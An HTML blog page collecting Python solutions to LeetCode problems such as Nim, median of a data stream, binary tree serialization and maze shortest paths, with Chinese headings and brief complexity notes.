<h3 id="292-Nim-游戏"><a href="#292-Nim-游戏" class="headerlink" title="292. Nim 游戏"></a>292. Nim 游戏</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def canWinNim(self, n: int) -> bool:</span><br><span class="line"> return (n & 3) != 0</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="295-数据流的中位数"><a href="#295-数据流的中位数" class="headerlink" title="295. 数据流的中位数"></a>295. 数据流的中位数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">from heapq import *</span><br><span class="line">class MedianFinder:</span><br><span class="line"></span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.A = []</span><br><span class="line"> self.B = []</span><br><span class="line"></span><br><span class="line"> def addNum(self, num: int) -> None:</span><br><span class="line"> if len(self.A) != len(self.B):</span><br><span class="line"> heappush(self.B, -heappushpop(self.A, num))</span><br><span class="line"> else:</span><br><span class="line"> heappush(self.A, -heappushpop(self.B, -num))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def findMedian(self) -> float:</span><br><span class="line"> if len(self.A) != len(self.B):</span><br><span class="line"> return self.A[0]</span><br><span class="line"> else:</span><br><span class="line"> return (self.A[0] - self.B[0]) / 2</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your MedianFinder object will be instantiated and called as such:</span><br><span class="line"># obj = MedianFinder()</span><br><span class="line"># obj.addNum(num)</span><br><span class="line"># param_2 = obj.findMedian()</span><br></pre></td></tr></table></figure>
<h3 id="297-二叉树的序列化与反序列化"><a href="#297-二叉树的序列化与反序列化" class="headerlink" title="297. 二叉树的序列化与反序列化"></a>297. 二叉树的序列化与反序列化</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode(object):</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Codec:</span><br><span class="line"></span><br><span class="line"> def serialize(self, root):</span><br><span class="line"> """Encodes a tree to a single string.</span><br><span class="line"> </span><br><span class="line"> :type root: TreeNode</span><br><span class="line"> :rtype: str</span><br><span class="line"> """</span><br><span class="line"> if not root:</span><br><span class="line"> return '[]'</span><br><span class="line"> res = []</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> deque.append(root)</span><br><span class="line"> while deque:</span><br><span class="line"> node = deque.popleft()</span><br><span class="line"> if node:</span><br><span class="line"> res.append(str(node.val))</span><br><span class="line"> deque.append(node.left)</span><br><span class="line"> deque.append(node.right)</span><br><span class="line"> else:</span><br><span class="line"> res.append('null')</span><br><span class="line"> return '[' + ','.join(res) + ']'</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> def deserialize(self, data):</span><br><span class="line"> """Decodes your encoded data to tree.</span><br><span class="line"> </span><br><span class="line"> :type data: str</span><br><span class="line"> :rtype: TreeNode</span><br><span class="line"> """</span><br><span class="line"> if data == '[]':</span><br><span class="line"> return None</span><br><span class="line"> vals, i = data[1:-1].split(','), 1</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> root = TreeNode(int(vals[0]))</span><br><span class="line"> deque.append(root)</span><br><span class="line"> while deque:</span><br><span class="line"> node = deque.popleft()</span><br><span class="line"> if vals[i] != 'null':</span><br><span class="line"> node.left = TreeNode(int(vals[i]))</span><br><span class="line"> deque.append(node.left)</span><br><span class="line"> i += 1</span><br><span class="line"> if vals[i] != 'null':</span><br><span class="line"> node.right = TreeNode(int(vals[i]))</span><br><span class="line"> deque.append(node.right)</span><br><span class="line"> i += 1</span><br><span class="line"> return root</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"># Your Codec object will be instantiated and called as such:</span><br><span class="line"># ser = Codec()</span><br><span class="line"># deser = Codec()</span><br><span class="line"># ans = deser.deserialize(ser.serialize(root))</span><br></pre></td></tr></table></figure>
<h3 id="299-猜数字游戏"><a href="#299-猜数字游戏" class="headerlink" title="299. 猜数字游戏"></a>299. 猜数字游戏</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def getHint(self, secret: str, guess: str) -> str:</span><br><span class="line"> cnt1, cnt2 = Counter(), Counter()</span><br><span class="line"> res1 = res2 = 0</span><br><span class="line"> for i in range(len(secret)):</span><br><span class="line"> if secret[i] == guess[i]:</span><br><span class="line"> res1 += 1</span><br><span class="line"> else:</span><br><span class="line"> cnt1[secret[i]] += 1</span><br><span class="line"> cnt2[guess[i]] += 1</span><br><span class="line"> for a, b in cnt2.items():</span><br><span class="line"> res2 += min(b, cnt1[a])</span><br><span class="line"> return str(res1) + 'A' + str(res2) + 'B'</span><br></pre></td></tr></table></figure>
<h3 id="400-第-N-位数字"><a href="#400-第-N-位数字" class="headerlink" title="400. 第 N 位数字"></a>400. 第 N 位数字</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findNthDigit(self, n: int) -> int:</span><br><span class="line"> digit, start, count = 1, 1, 9</span><br><span class="line"> while n > count:</span><br><span class="line"> n -= count</span><br><span class="line"> start *= 10</span><br><span class="line"> digit += 1</span><br><span class="line"> count = 9 * start * digit</span><br><span class="line"> num = start + (n - 1) // digit</span><br><span class="line"> return int(str(num)[(n - 1) % digit])</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="946-验证栈序列"><a href="#946-验证栈序列" class="headerlink" title="946. 验证栈序列"></a>946. 验证栈序列</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def validateStackSequences(self, pushed: List[int], popped: List[int]) -> bool:</span><br><span class="line"> idx1, idx2, n = 0, 0, len(pushed)</span><br><span class="line"> stack = []</span><br><span class="line"> while idx2 < n:</span><br><span class="line"> if len(stack) > 0 and popped[idx2] == stack[-1]:</span><br><span class="line"> stack.pop()</span><br><span class="line"> idx2 += 1</span><br><span class="line"> continue</span><br><span class="line"> while idx1 < n and popped[idx2] != pushed[idx1]:</span><br><span class="line"> stack.append(pushed[idx1])</span><br><span class="line"> idx1 += 1</span><br><span class="line"> if idx1 == n:</span><br><span class="line"> return False</span><br><span class="line"> else:</span><br><span class="line"> idx1 += 1</span><br><span class="line"> idx2 += 1</span><br><span class="line"> return True</span><br></pre></td></tr></table></figure>
<h3 id="982-按位与为零的三元组"><a href="#982-按位与为零的三元组" class="headerlink" title="982. 按位与为零的三元组"></a>982. 按位与为零的三元组</h3><p>use hashmap to reduce time complexity<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countTriplets(self, nums: List[int]) -> int:</span><br><span class="line"> cnt = Counter((x & y) for x in nums for y in nums)</span><br><span class="line"> res = 0</span><br><span class="line"> for x in nums:</span><br><span class="line"> sub = x = x ^ 0xffff</span><br><span class="line"> while True:</span><br><span class="line"> if sub in cnt:</span><br><span class="line"> res += cnt[sub]</span><br><span class="line"> if sub == 0:</span><br><span class="line"> break</span><br><span class="line"> sub = (sub - 1) & x</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1096-花括号展开-II"><a href="#1096-花括号展开-II" class="headerlink" title="1096. 花括号展开 II"></a>1096. 花括号展开 II</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def braceExpansionII(self, expression: str) -> List[str]:</span><br><span class="line"> def dfs(exp):</span><br><span class="line"> j = exp.find('}')</span><br><span class="line"> if j == -1:</span><br><span class="line"> s.add(exp)</span><br><span class="line"> return</span><br><span class="line"> i = exp.rfind('{', 0, j - 1)</span><br><span class="line"> a, c = exp[:i], exp[j+1:]</span><br><span class="line"> for b in exp[i+1:j].split(','):</span><br><span class="line"> dfs(a + b + c)</span><br><span class="line"> s = set()</span><br><span class="line"> dfs(expression)</span><br><span class="line"> return sorted(s)</span><br></pre></td></tr></table></figure>
<h3 id="1124-表现良好的最长时间段"><a href="#1124-表现良好的最长时间段" class="headerlink" title="1124. 表现良好的最长时间段"></a>1124. 表现良好的最长时间段</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def longestWPI(self, hours: List[int]) -> int:</span><br><span class="line"> n = len(hours)</span><br><span class="line"> score = [0] * n</span><br><span class="line"> for i in range(n):</span><br><span class="line"> if hours[i] > 8:</span><br><span class="line"> score[i] = 1</span><br><span class="line"> else:</span><br><span class="line"> score[i] = -1</span><br><span class="line"> presum = [0] * (n + 1)</span><br><span class="line"> for i in range(n):</span><br><span class="line"> presum[i + 1] = presum[i] + score[i]</span><br><span class="line"> stack = []</span><br><span class="line"> for i in range(n + 1):</span><br><span class="line"> if not stack or presum[i] < presum[stack[-1]]:</span><br><span class="line"> stack.append(i)</span><br><span class="line"> i = n</span><br><span class="line"> res = 0</span><br><span class="line"> while i > res:</span><br><span class="line"> while stack and presum[i] > presum[stack[-1]]:</span><br><span class="line"> res = max(res, i - stack[-1])</span><br><span class="line"> stack.pop()</span><br><span class="line"> i -= 1</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1138-字母板上的路径"><a href="#1138-字母板上的路径" class="headerlink" title="1138. 字母板上的路径"></a>1138. 字母板上的路径</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def alphabetBoardPath(self, target: str) -> str:</span><br><span class="line"> result = ''</span><br><span class="line"> old_i, old_j = 0, 0</span><br><span class="line"> for ch in target:</span><br><span class="line"> idx = ord(ch) - ord('a')</span><br><span class="line"> i, j = idx // 5, idx % 5</span><br><span class="line"> if i == 5:</span><br><span class="line"> result += 'L' * old_j</span><br><span class="line"> result += 'D' * (5 - old_i)</span><br><span class="line"> else:</span><br><span class="line"> if old_i < i:</span><br><span class="line"> result += 'D' * (i - old_i)</span><br><span class="line"> if old_i > i:</span><br><span class="line"> result += 'U' * (old_i - i)</span><br><span class="line"> if old_j < j:</span><br><span class="line"> result += 'R' * (j - old_j)</span><br><span class="line"> if old_j > j:</span><br><span class="line"> result += 'L' * (old_j - j)</span><br><span class="line"> old_i, old_j = i, j</span><br><span class="line"> result += '!'</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1139-最大的以-1-为边界的正方形"><a href="#1139-最大的以-1-为边界的正方形" class="headerlink" title="1139. 最大的以 1 为边界的正方形"></a>1139. 最大的以 1 为边界的正方形</h3><p>dp, time: O(m<em>n</em>min(m,n)), space: O(m*n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def largest1BorderedSquare(self, grid: List[List[int]]) -> int:</span><br><span class="line"> m, n = len(grid), len(grid[0])</span><br><span class="line"> left = [[0] * (n + 1) for _ in range(m + 1)]</span><br><span class="line"> up = [[0] * (n + 1) for _ in range(m + 1)]</span><br><span class="line"> maxBorder = 0</span><br><span class="line"> for i in range(1, m + 1):</span><br><span class="line"> for j in range(1, n + 1):</span><br><span class="line"> if grid[i - 1][j - 1]:</span><br><span class="line"> left[i][j] = left[i][j - 1] + 1</span><br><span class="line"> up[i][j] = up[i - 1][j] + 1</span><br><span class="line"> border = min(left[i][j], up[i][j])</span><br><span class="line"> while up[i][j + 1 - border] < border or left[i + 1 - border][j] < border:</span><br><span class="line"> if border <= maxBorder:</span><br><span class="line"> break</span><br><span class="line"> border -= 1</span><br><span class="line"> maxBorder = max(maxBorder, border)</span><br><span class="line"> return maxBorder ** 2</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1144-递减元素使数组呈锯齿状"><a href="#1144-递减元素使数组呈锯齿状" class="headerlink" title="1144. 递减元素使数组呈锯齿状"></a>1144. 递减元素使数组呈锯齿状</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def movesToMakeZigzag(self, nums: List[int]) -> int:</span><br><span class="line"> res1, res2 = 0, 0</span><br><span class="line"> n = len(nums)</span><br><span class="line"> for i in range(n):</span><br><span class="line"> tmp = 0</span><br><span class="line"> if i & 1 == 0:</span><br><span class="line"> if i > 0:</span><br><span class="line"> tmp = max(tmp, nums[i] - nums[i - 1] + 1)</span><br><span class="line"> if i < n - 1:</span><br><span class="line"> tmp = max(tmp, nums[i] - nums[i + 1] + 1)</span><br><span class="line"> res1 += tmp</span><br><span class="line"> else:</span><br><span class="line"> if i > 0:</span><br><span class="line"> tmp = max(tmp, nums[i] - nums[i - 1] + 1)</span><br><span class="line"> if i < n - 1:</span><br><span class="line"> tmp = max(tmp, nums[i] - nums[i + 1] + 1)</span><br><span class="line"> res2 += tmp</span><br><span class="line"> return min(res1, res2)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1145-二叉树着色游戏"><a href="#1145-二叉树着色游戏" class="headerlink" title="1145. 二叉树着色游戏"></a>1145. 二叉树着色游戏</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def btreeGameWinningMove(self, root: Optional[TreeNode], n: int, x: int) -> bool:</span><br><span class="line"> xNode = None</span><br><span class="line"> def getTreeSize(root):</span><br><span class="line"> if not root:</span><br><span class="line"> return 0</span><br><span class="line"> if root.val == x:</span><br><span class="line"> nonlocal xNode</span><br><span class="line"> xNode = root</span><br><span class="line"> return 1 + getTreeSize(root.left) + getTreeSize(root.right)</span><br><span class="line"> getTreeSize(root)</span><br><span class="line"> leftSize = getTreeSize(xNode.left)</span><br><span class="line"> if leftSize >= (n + 1) // 2:</span><br><span class="line"> return True</span><br><span class="line"> rightSize = getTreeSize(xNode.right)</span><br><span class="line"> if rightSize >= (n + 1) // 2:</span><br><span class="line"> return True</span><br><span class="line"> remain = n - 1 - leftSize - rightSize</span><br><span class="line"> if remain >= (n + 1) // 2:</span><br><span class="line"> return True</span><br><span class="line"> return False</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1210-穿过迷宫的最少移动次数"><a href="#1210-穿过迷宫的最少移动次数" class="headerlink" title="1210. 穿过迷宫的最少移动次数"></a>1210. 穿过迷宫的最少移动次数</h3><p>bfs, time: O(n^2), space: O(n^2)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumMoves(self, grid: List[List[int]]) -> int:</span><br><span class="line"> n = len(grid)</span><br><span class="line"> dist = {(0, 0, 0) : 0}</span><br><span class="line"> q = deque([(0, 0, 0)])</span><br><span class="line"> while q:</span><br><span class="line"> x, y, status = q.popleft()</span><br><span class="line"> if status == 0:</span><br><span class="line"> # right</span><br><span class="line"> if y + 2 < n and (x, y + 1, 0) not in dist and grid[x][y + 2] == 0: </span><br><span class="line"> dist[(x, y + 1, 0)] = dist[(x, y, 0)] + 1</span><br><span class="line"> q.append((x, y + 1, 0))</span><br><span class="line"> # down</span><br><span class="line"> if x + 1 < n and (x + 1, y, 0) not in dist and grid[x + 1][y] == grid[x + 1][y + 1] == 0: </span><br><span class="line"> dist[(x + 1, y, 0)] = dist[(x, y, 0)] + 1</span><br><span class="line"> q.append((x + 1, y, 0))</span><br><span class="line"> # rotate</span><br><span class="line"> if x + 1 < n and y + 1 < n and (x, y, 1) not in dist and grid[x + 1][y] == grid[x + 1][y + 1] == 0: </span><br><span class="line"> dist[(x, y, 1)] = dist[(x, y, 0)] + 1</span><br><span class="line"> q.append((x, y, 1))</span><br><span class="line"> else:</span><br><span class="line"> # right</span><br><span class="line"> if y + 1 < n and (x, y + 1, 1) not in dist and grid[x][y + 1] == grid[x + 1][y + 1] == 0: </span><br><span class="line"> dist[(x, y + 1, 1)] = dist[(x, y, 1)] + 1</span><br><span class="line"> q.append((x, y + 1, 1))</span><br><span class="line"> # down</span><br><span class="line"> if x + 2 < n and (x + 1, y, 1) not in dist and grid[x + 2][y] == 0: </span><br><span class="line"> dist[(x + 1, y, 1)] = dist[(x, y, 1)] + 1</span><br><span class="line"> q.append((x + 1, y, 1))</span><br><span class="line"> # rotate</span><br><span class="line"> if x + 1 < n and y + 1 < n and (x, y, 0) not in dist and grid[x][y + 1] == grid[x + 1][y + 1] == 0: </span><br><span class="line"> dist[(x, y, 0)] = dist[(x, y, 1)] + 1</span><br><span class="line"> q.append((x, y, 0))</span><br><span class="line"> return dist.get((n - 1, n - 2, 0), -1)</span><br><span class="line"></span><br></pre></td></tr></table></figure><br>dp, time: O(n^2), space: O(n^2)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumMoves(self, grid: List[List[int]]) -> int:</span><br><span class="line"> n = len(grid)</span><br><span class="line"> f = [[[float('inf'), float('inf')] for _ in range(n)] for _ in range(n)]</span><br><span class="line"> f[0][0][0] = 0</span><br><span class="line"> for i in range(n):</span><br><span class="line"> for j in range(n):</span><br><span class="line"> canHorizontal = (j + 1 < n and grid[i][j] == grid[i][j + 1] == 0)</span><br><span class="line"> canVertical = (i + 1 < n and grid[i][j] == grid[i + 1][j] == 0)</span><br><span class="line"> if i - 1 >= 0 and canHorizontal:</span><br><span class="line"> f[i][j][0] = min(f[i][j][0], f[i - 1][j][0] + 1)</span><br><span class="line"> if j - 1 >= 0 and canHorizontal:</span><br><span class="line"> f[i][j][0] = min(f[i][j][0], f[i][j - 1][0] + 1)</span><br><span class="line"> if i - 1 >= 0 and canVertical:</span><br><span class="line"> f[i][j][1] = min(f[i][j][1], f[i - 1][j][1] + 1)</span><br><span class="line"> if j - 1 >= 0 and canVertical:</span><br><span class="line"> f[i][j][1] = min(f[i][j][1], f[i][j - 1][1] + 1)</span><br><span class="line"> if canHorizontal and canVertical and grid[i + 1][j + 1] == 0:</span><br><span class="line"> f[i][j][0] = min(f[i][j][0], f[i][j][1] + 1)</span><br><span class="line"> f[i][j][1] = min(f[i][j][1], f[i][j][0] + 1)</span><br><span class="line"> if f[n - 1][n - 2][0] == float('inf'):</span><br><span class="line"> return -1</span><br><span class="line"> else:</span><br><span class="line"> return f[n - 1][n - 2][0]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1234-替换子串得到平衡字符串"><a href="#1234-替换子串得到平衡字符串" class="headerlink" title="1234. 替换子串得到平衡字符串"></a>1234. 替换子串得到平衡字符串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def balancedString(self, s: str) -> int:</span><br><span class="line"> cnt = Counter(s)</span><br><span class="line"> partial = len(s) // 4</span><br><span class="line"> def check():</span><br><span class="line"> if cnt['Q'] > partial or cnt['W'] > partial or cnt['E'] > partial or cnt['R'] > partial:</span><br><span class="line"> return False</span><br><span class="line"> return True</span><br><span class="line"> if check():</span><br><span class="line"> return 0</span><br><span class="line"> res = len(s)</span><br><span class="line"> r = 0</span><br><span class="line"> for l, c in enumerate(s):</span><br><span class="line"> while r < len(s) and not check():</span><br><span class="line"> cnt[s[r]] -= 1</span><br><span class="line"> r += 1</span><br><span class="line"> if not check():</span><br><span class="line"> break</span><br><span class="line"> res = min(res, r - l)</span><br><span class="line"> cnt[c] += 1</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1237-找出给定方程的正整数解"><a href="#1237-找出给定方程的正整数解" class="headerlink" title="1237. 找出给定方程的正整数解"></a>1237. 找出给定方程的正整数解</h3><p>binary search<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">"""</span><br><span class="line"> This is the custom function interface.</span><br><span class="line"> You should not implement it, or speculate about its implementation</span><br><span class="line"> class CustomFunction:</span><br><span class="line"> # Returns f(x, y) for any given positive integers x and y.</span><br><span class="line"> # Note that f(x, y) is increasing with respect to both x and y.</span><br><span class="line"> # i.e. f(x, y) < f(x + 1, y), f(x, y) < f(x, y + 1)</span><br><span class="line"> def f(self, x, y):</span><br><span class="line"> </span><br><span class="line">"""</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def findSolution(self, customfunction: 'CustomFunction', z: int) -> List[List[int]]:</span><br><span class="line"> res, y = [], 1000</span><br><span class="line"> for x in range(1, 1001):</span><br><span class="line"> while y and customfunction.f(x, y) > z:</span><br><span class="line"> y -= 1</span><br><span class="line"> if y == 0:</span><br><span class="line"> break</span><br><span class="line"> if customfunction.f(x, y) == z:</span><br><span class="line"> res.append([x, y])</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
